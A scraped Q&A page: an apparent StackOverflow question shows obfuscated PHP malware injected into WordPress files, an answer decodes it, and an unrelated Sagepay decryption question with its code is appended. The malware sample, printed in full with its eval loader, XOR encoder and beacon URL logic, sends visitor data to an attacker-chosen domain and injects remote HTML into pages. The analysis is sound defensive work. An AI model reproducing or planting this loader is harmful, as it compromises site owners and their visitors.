Malicious code found in WordPress theme files. What does it do? - php

I discovered this code inserted at the top of every single PHP file inside of an old, outdated WordPress installation. I want to figure out what this script was doing, but have been unable to decipher the main hidden code. Can someone with experience in these matters decrypt it?
Thanks!
<?php if (!isset($GLOBALS["anuna"])) {
$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
if ((!strstr($ua, "msie")) and (!strstr($ua, "rv:11"))) $GLOBALS["anuna"] = 1;
} ?>
<?php $nzujvbbqez = 'E{h%x5c%x7825)j{hnpd!opjudovg-%x5c%x7824]26%x5c%x7824-%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<x5c%x782f#)rrd%x5c%x83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y<X>b%x5c%x7825Z<#opo#>b{jt)!gj!<*2bd%x5c%x7euhA)3of>2bd%x5c%x7825!<5h%x5c%x78225%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tus66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:osvufs%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5cc%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878284]364]6]234]342]58]24]311]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#73]y72]282#<!%x5c%x7825tjw!>!x5c%x7825%x5c%x787f!25ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpd8;0]=])0#)U!%x5c%x7827{**u%x5c%x7%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x7.3%x5c%x7860hA%x5c%x7827pd%x5c%x782525)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x55%x5c%x782f#0#%x5c%x782f*#npd%}#-#%x5c%x7824-%x5c%x7824-tusvd},;uqpuft%x5c%x7860>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyf5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5tcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x25%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x786<.fmjgA%x5c%x7827doj%x825-#jt0}Z;0]=]0#)2q%x5c%xx5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x78%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78ec%x7825!**X)ufttj%x5c%x7822)r.985:52985-t.98]K4]65]D8]86]y37827pd%x5c%x78256<pd%x5c%x7825w6Z6<]5]48]32M3]317]445]212]445]43]321]464]n)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x782so!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5cW~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2%x5c%x78b%x5c%x7825w:!>!%x5c27;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%xufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:5cq%x5c%x78257**^#zsfvr#27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSc%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%xc%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id1%x29%73", NULL); }IjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuv5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7ec%x787f%x5c%x787f%x5c%x787f%x5%x5c%x7825)ftpmdR6<*id%x5c%x78mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#7825l}S;2-u%x5c%x7825!-#2#%**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<]y74]256]y39]252]y83]2761"])))) { $GLOBALS["%x61%156%x75%156%x61"]=1; funx5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)%x7825zB%x5c%x7825z>!tussfw)%x5c%xu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c165%x3a%146%x21%76%x21%50%x5cction fjfgg($n){return 78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x76]277]y72]265]y39]271]y83]256]y78]248]y827!hmg%x5c%x7825!)!gj!<2,*qpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824doF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x561%154%x28%151%x6d%160%x6c%157%x6%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x785j:.2^,%x5c%x7825b:<!%x5c%x<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x78*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x78787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x57###7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x7x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5ce:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78x5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x782x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%k;opjudovg}%x5c%x7877825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%5c%x7878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x77825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825j25!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf%x5c%x7825!*##>>X)!gjZ<#opo#>b%x533]65]y31]53]y6d]281]y43825<#762]67y]562]38y]572]48y]j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubx7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboep5h>#]y31]278]y3e]81]K78:56985:6197g:74787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822o]#%x5c%x782f*)323zbe!-#jt0*?]+^782f#00;quui#>.%x5c%x7825!<***f%x5c%x7946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQc%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{25)Rb%x5c%x7825))!gj!<*#cd1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%xj!|!*msv%x5c%x7825)}k~~~<ftm4-%x5c%x7824y7%x5c%x7824-%x5ce%x5c%x7825!osvufs!*!+A!>!{e%x5x7825)uqpuft%x5c%x7860msc%x7825>U<#16,47R57,27R]K5]53]Kc#<%x5c%x7825tp&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!x7825!<**3-j%x5c%x78%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]225]241]3x5c%x782f#%x5c%x7825#%x5c%x782f#mqnj!%x5c%x782f!#0#)idubn%x5c#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5c#-%x5c%x7825tdz*Wsfuvso!%x5c%78242178}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273fttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%xf!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;60%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%xc%x787f<u%x5c%x7825Vif((function_exists("%x6f%142%x5f%163%x74%141%x7%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%xz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4x5c%x78257>%x5c%x782f7&6|7**11x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5 c%x7825c5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825)dfyfR%x5c%x7827tfs%x54%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*#)tutjyf%x5c%x7860opjudovg)!gE#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]y74]273]%x5c%x785cq%x5c%x7825)uoe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x!>!tus%x5c%x7860sfqmbdf)%x5c%4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x6<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]yq%x5c%x7825V<*#fopoV;hojepmsvd}+;!>!}%x5c%x7827;!4%145%x28%141%x72%162%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x78827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%xov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x77825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x78]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ff2!c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqchr(ord($n)-1);} #erro%x7824*<!%x5c%x7824-2bge56+99386c6f+9f5d816:+25)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x782mpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3825!*72!%x5c%x7827!hmg%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x782[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-d]51]y35]256]y76]72]y3d]51]y35]274]yeobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!*#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x78]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<bg!osvufs!|ftmf!~<**9.-j%x5c5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7dx7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5**b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x7sfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x7825bss%x5c%x785csbhpph#)zbssb!-#}#)fep:~:<*9-1-r%x5c%x7825)825,3,j%x5c%x7825>j%x5c%82f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmc%x78786<C%x5c%x7827&6<*rfs%x5c1127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5%x7825-bubE{h%x5c%x7825)su34]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)25-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%xx7827)fepdof.)fepdof.%x5c%x782f###%V,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%xr_reporting(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%166%xy76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osv2%164") && (!isset($GLOBALS["%x61%156%x75%156%xu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%8257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]5j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%5c%x7825)fnbozcYufhA%x5c%x78272qj%x/(.*)/epreg_replacestvbowvmjj';
$uskbxljsbs = explode(chr((169 - 125)), '6393,48,9851,47,2858,50,3117,23,8291,22,9595,68,3457,33,7412,23,3914,63,6775,52,3088,29,1791,56,2150,28,6441,66,3140,43,1906,35,926,36,7276,35,2578,51,2993,59,275,45,6613,30,9241,42,9210,31,886,40,9989,41,5417,69,4931,62,1312,54,534,47,483,51,7223,53,10071,35,6190,50,3811,39,6142,48,2353,24,7062,23,6048,57,1266,46,3977,58,8168,55,1633,23,5272,63,2455,47,2659,30,6751,24,6827,38,2377,38,9554,41,3706,63,5644,70,4249,67,5105,50,4787,40,5574,24,1087,21,7389,23,1108,60,6277,47,6865,29,5486,28,8828,28,9283,26,1366,61,3223,27,6949,50,8506,23,3850,64,1739,52,9128,24,5714,20,9449,70,7435,62,8131,37,4653,70,0,29,4316,56,3572,68,4528,39,180,20,9379,70,200,35,1028,30,92,20,5025,38,7567,50,9519,35,2908,51,8672,58,8986,47,9152,58,9087,20,5879,29,3769,42,8029,45,5391,26,8333,25,5063,42,5203,69,9718,65,726,20,157,23,4567,33,1847,28,1212,54,9898,51,3640,66,6324,49,5155,48,61,31,9783,68,2271,36,815,38,7717,69,2793,42,5335,56,5543,31,3399,58,2629,30,6373,20,4372,65,8925,61,5598,23,362,57,7363,26,3353,46,3052,36,1581,52,2178,48,4180,20,853,33,1656,26,2766,27,5847,32,4993,32,1168,44,9663,55,2835,23,698,28,5908,51,6999,63,1530,51,419,64,9107,21,7617,37,7497,70,962,66,2415,40,4437,51,7786,70,4624,29,8730,39,8358,50,5988,60,8074,57,6105,37,4723,64,1682,57,1489,41,1058,29,3250,41,7155,29,3291,62,29,32,8408,59,5514,29,8313,20,3490,55,235,40,8223,68,8467,39,8636,36,7184,39,320,42,9033,34,6643,67,2521,57,2026,60,2959,34,7856,64,6240,37,4200,49,4827,66,1979,47,4893,38,581,48,1875,31,655,43,4035,53,5621,23,6507,46,6553,60,8769,59,7654,63,7920,49,8593,43,5734,68,5802,45,9309,70,1941,38,629,26,5959,29,9067,20,7085,70,9949,40,4088,56,10030,41,4144,36,8529,64,3545,27,4488,40,2307,46,2086,64,1427,62,6710,41,746,69,2689,20,2709,57,6894,55,2226,45,8856,26,8882,43,7311,52,3183,40,112,45,4600,24,7969,60,2502,19');
$aemhtmvyge = substr($nzujvbbqez, (69491 - 59385), (44 - 37));
if (!function_exists('hperlerwfe')) {
function hperlerwfe($opchjywcur, $oguxphvfkm) {
$frnepusuoj = NULL;
for ($yjjpfgynkv = 0;$yjjpfgynkv < (sizeof($opchjywcur) / 2);$yjjpfgynkv++) {
$frnepusuoj.= substr($oguxphvfkm, $opchjywcur[($yjjpfgynkv * 2) ], $opchjywcur[($yjjpfgynkv * 2) + 1]);
}
return $frnepusuoj;
};
}
$rfmxgmmowh = " /* orpuzttrsp */ eval(str_replace(chr((230-193)), chr((534-442)), hperlerwfe($uskbxljsbs,$nzujvbbqez))); /* unvtjodgmt */ ";
$yiffimogfj = substr($nzujvbbqez, (60342 - 50229), (38 - 26));
$yiffimogfj($aemhtmvyge, $rfmxgmmowh, NULL);
$yiffimogfj = $rfmxgmmowh;
$yiffimogfj = (470 - 349);
$nzujvbbqez = $yiffimogfj - 1; ?>

After digging though the obfuscated code untangling a number of preg_replace, eval, create_function statements, this is my try on explaining what the code does:
The code will start output buffering and register a callback function triggered at the end of buffering, e.g. when the output is to be sent to the web server.
First, the callback function will attempt to uncompress the output buffer contents if necessary using gzinflate, gzuncompress, gzdecode or a custom gzinflate based decoder (I have not dug any deeper into this).
With the contents uncompressed, a request will be made containing the $_SERVER values of
HTTP_USER_AGENT
HTTP_REFERER
REMOTE_ADDR
HTTP_HOST
PHP_SELF
... to the domain given by chars 0-8 or 8-15 (randomly picks one or the other) in an md5 hash of the IPv4 address of "stat-dns.com" appended with ".com", currently giving md5(".com" . <IPv4> ) => md5(".com8.8.8.8") => "54dfa1cb.com" / "33db9538.com".
The request will be attempted using file_get_contents, curl_exec, file and finally socket_write.
Note that no request will be made if:
any of the HTTP_USER_AGENT, REMOTE_ADDR or HTTP_HOST is empty/not set
PHP_SELF contains the word "admin"
HTTP_USER_AGENT contains any of the words "google", "slurp", "msnbot", "ia_archiver", "yandex" or "rambler".
Secondly, if the output buffer contents has a body or html tag, and the response from the request above (decoded using en2() function below) contains at least one "!NF0" string, the content between the first and second "!NF0" (or end of string) will be injected into the HTML page at the beginning of the body or in case there is no body tag, the html tag.
The code used for encoding/decoding traffic is this one:
function en2($s, $q) {
$g = "";
while (strlen($g) < strlen($s)) {
$q = pack("H*", md5($g . $q . "q1w2e3r4"));
$g .= substr($q, 0, 8);
}
return $s ^ $g;
}
$s is the string to encode/decode and $q is a random number between 100000 and 999999 acting as a key.
The request URL mentioned above is calculated like this:
$url = "http:// ... /"
. $op // Random number/key
. "?"
. urlencode(
urlencode(
base64_encode(en2( $http_user_agent, $op)) . "." .
base64_encode(en2( $http_referrer, $op)) . "." .
base64_encode(en2( $remote_addr, $op)) . "." .
base64_encode(en2( $http_host, $op)) . "." .
base64_encode(en2( $php_self, $op))
)
);
While I have not found any sign of what initially placed the malicious code on your server, or that it does anything else than allowing for bad HTML/JavaScript code to be injected on your web pages that does not mean that it is not still there.
You really should make a clean install, like suggested by #Bulk above:
The only way you'll ever know for sure it's been cleaned is to
re-install absolutely everything you can from scratch - i.e. fresh
wordpress install, fresh plugin install. Then literally comb every
line of your theme for anything out of the ordinary. Also of note,
they often will put things in wp-content/uploads that look like images
but aren't - check those too.
Pastebin here.

Related

My php script does not decrypt return crypt in Sagepay Form version 3.00

I have moved my website to a new hosting provider where my Sagepay Form v3 script which receives the encrypted response is now failing.
At the previous hosting provider the script was working (php version there was 5.5.9) and the new hosting offers a choice from 5.4 to 6. At the first hosting provider the php version for a long time earlier was 5.2 (or maybe it was 5.3) and when they finally enforced a change to 5.5 it wrecked a lot of things in my website scripts which resulted in a very difficult period trying to fix them, which I achieved in the end.
One of those things was that the decrypt failed, just like it is doing again now. In that case I eventually fixed it by changing the decrypt line from:
$Decoded = DHclassInFunc::decryptAes($crypt,$EncryptionPassword);
to:
$Decoded = DHclassInFunc::decryptAes(($_GET['crypt']),$EncryptionPassword);
I had tried many other variations but only this last one worked.
So now the problem is back and I am completely at a loss. I have tried all of the previous variations but nothing works. Also the various php versions on offer at my new host.
My (LONG) question on the previous occasion was also posted here: see Website to Sagepay submit encryption code was working but now fails after server php upgrade
Can anyone suggest why this is failing this time round and what I can do to fix it?
EDIT 14/12/18 More info after investigation plus I am including more explanation and the full code from the two relevant scripts ------------------------
I made no progress and the website orders have had to be manually managed while the Sagepay return was not working. Now I have a little time so I am trying again.
I have now found that if I remove this line (below) on the "completed.php" page (the url to which the Sagepay response is directed) the script does not hang; however it is because it is that line which causes a fatal error.
$Decoded = DHclassInFunc::decryptAes(($_GET['crypt']),$EncryptionPassword);
Without the line and the resultant error the scipt is able to move on and call the the following page ("return.php") which then displays payment result information to the customer and also does other actions (such as sending the full order detail to our local - not on the internet - database).
However with the line removed the crypt in the url is not processed and therefore there are no values in the result variables which the completed.php page forwards to the return.php page.
This means that the $status variable is empty; in the return.php page this is evaluated as an error and therefore the customer is shown a message which says that there was an error and that no payment was taken - which is incorrect.
The lack of a "success" status value also means that the order in the web mysql database is not flagged as confirmed.
I had tried many other variations of the line to no avail (although the one given here worked before the website was moved to a new host).
The line does of course invoke the function in the class "DHclassInFunc" which is located in the functions.php file.
I am enclosing below the active code from of the two files, completed.php and functions.php
As far as I can work out the root problem is that the line
$Decoded = DHclassInFunc::decryptAes(($_GET['crypt']),$EncryptionPassword);
does not receive any value in 'crypt' and so there is no string for the function.php decrypt routine to work on resulting in the fatal error when that function is called: "PHP Fatal error: Class 'SagepayApiException' not found in /redacted/redacted/redacted.com/www/redacted/protx/functions.php on line 208"
I have added a line in the functions.php code as below:
echo '$strIn' . " string in with # should be here?";
in order to try to expose the value which is being passed to the function but it simple prints the name of the var, not the values from the url content which is in the address bar of the completed.php page when it receives the response from Sagepay - eg:
https://www.redacted.com/redacted/protx/completed.php?crypt=#ad6721a09c786829cd839586df0fe047ea0f0e9c791ddfe5d55b7175881aa4609ccfb4768a8b84dd9f259614d0edf0f03254a1967279693509e72190c8248cd56d1cefa713592f84eca4e8d7477ac89c9dd783b350a21766500c1c91fde3dbe5deb7887bea0e5c07e58274dec93224729f265730a4aecf5cf9c7216dad2b5eecc4d128e6c8389c1c9d5d297b7a10ccb53e37eae5b7a996a308c10f2d0edc0b41b6b38c6e56375a6421d110a0a3fe40cdfa2daa2fa6e0bf767204d209aa300d9f907ea686ee9a9dcc0992c14c325123ab53d7885bc6dc66eebf3c341002034fbce6277ccc6fbb8734c3cdab58dcd294d0a3a4430c7b091beed81fd97cadbf24b9149f9541e5d8e8c45a4e267fc0d14222c45963fe847ec12a9fedf05eba2a78caf769825046584b112d353d92d38aedc3cb086fc0c8250e20ef975dc377438b7c3a34c96cacba9ed1670b2af1bcd0945a5a0424c0532f23b0a6662db8198a2368d60ee3785f07826005593292154abe06abf55ff1d461b714e1fb53b5da3db1f21eb6b01169a2cf78d872de5ac96e41e088a7bf1e6f88aa8cc5c6b4bfd5d82f63
Regarding whether it might be a unicode / iso issue I can't see why this would result in an empty value in $strIn since this has not yet been processed at all, merely captured (or not?).
COMPLETED.php ---------------------
<?php
include "functions.php";
$Decoded = DHclassInFunc::decryptAes($_GET['crypt'],$EncryptionPassword);
$values = getToken($Decoded);
$VendorTxCode = $values['VendorTxCode'];
$Status = $values['Status'];
$VPSTxID = $values['VPSTxId'];
$TxAuthNo = $values['TxAuthNo'];
$AVSCV2 = $values['AVSCV2'];
$Amount = $values['Amount'];
// protocol 2.22 fields
$AddressResult = $values[ 'AddressResult' ];
$PostCodeResult = $values[ 'PostCodeResult' ];
$CV2Result = $values[ 'CV2Result' ];
$GiftAid = $values[ 'GiftAid' ];
$VBVSecureStatus = $values[ '3DSecureStatus' ];
$CAVV = $values[ 'CAVV' ];
// DH my all-in-one details var
$ResultDetails = $ResultDetails . "Vendor Code: " . $VendorTxCode . " - ";
$ResultDetails = $ResultDetails . "Status: " . $Status . " - ";
$ResultDetails = $ResultDetails . "VPS Transaction ID: " . $VPSTxID . " - ";
$ResultDetails = $ResultDetails . "Auth Num: " . $TxAuthNo . " - ";
$ResultDetails = $ResultDetails . "AVS / CV2 response: " . $TxAuthNo . " - ";
$ResultDetails = $ResultDetails . "Amount: " . $Amount . " - ";
$ResultDetails = $ResultDetails . "Address Result: " . $AddressResult . " - ";
$ResultDetails = $ResultDetails . "PostCode Result: " . $PostCodeResult . " - ";
$ResultDetails = $ResultDetails . "PostCode Result: " . $PostCodeResult . " - ";
$ResultDetails = $ResultDetails . "CV2 Result: " . $CV2Result . " - ";
$ResultDetails = $ResultDetails . "GiftAid Result: " . $GiftAid . " - ";
$ResultDetails = $ResultDetails . "3DSecure Status: " . $VBVSecureStatus . " - ";
$ResultDetails = $ResultDetails . "CAVV Result: " . $CAVV . " - ";
$FindHyphen = strpos($VendorTxCode,'-');
$LastIdChar = $FindHyphen;
$MyOrderID = substr($VendorTxCode,0,$LastIdChar);
$StatusSave = $Status;
echo ' <FORM METHOD="POST" FORM NAME="GoToReturn" ACTION="../MXKart/return.php">'."\n";
echo ' <input type="hidden" name="response_code" value= "';
echo $Status;
echo '">'."\n";
echo ' <input type="hidden" name="order_number" value= "';
echo $MyOrderID;
echo '">'."\n";
echo ' <input type="hidden" name="secretword" value= "';
echo $secret_word;
echo '">'."\n";
//echo addslashes($ResultDetails);
echo ' <input type="hidden" name="response_reason_text" value= "';
echo $ResultDetails;
echo '">'."\n";
echo ' <input type="hidden" name="amount" value= "';
echo $Amount;
echo '">'."\n";
echo ' <input type="hidden" name="force" value= "';
echo $VendorTxCode;
echo '">'."\n";
$msg = "<br><strong>Getting payment result.... </strong> <br><br><h2 style=\"color:green;\">PLEASE WAIT AT THIS PAGE - do not close the page or move on. <br>There can be a delay of up to a minute so please be patient.</h2>";
echo $msg."\n";
echo '</FORM>'."\n";
echo '<script language="javascript">'."\n";
echo 'document.forms[0].submit();'."\n";
echo '</script>'."\n";
?>
FUNCTIONS.php ---------------------
<?
$VendorName="redacted";
$EncryptionPassword="redacted"; // LIVE server destination
//************ NEW CRYPT STUFF COPIED FRON SAGEPAY KIT util.php
//DH added class definition as shown in stackoverflow page - trying to fix error when run, on line static private function etc
class DHclassInFunc{
/**
* PHP's mcrypt does not have built in PKCS5 Padding, so we use this.
*
* #param string $input The input string.
*
* #return string The string with padding.
*/
static protected function addPKCS5Padding($input)
{
$blockSize = 16;
$padd = "";
// Pad input to an even block size boundary.
$length = $blockSize - (strlen($input) % $blockSize);
for ($i = 1; $i <= $length; $i++)
{
$padd .= chr($length);
}
return $input . $padd;
}
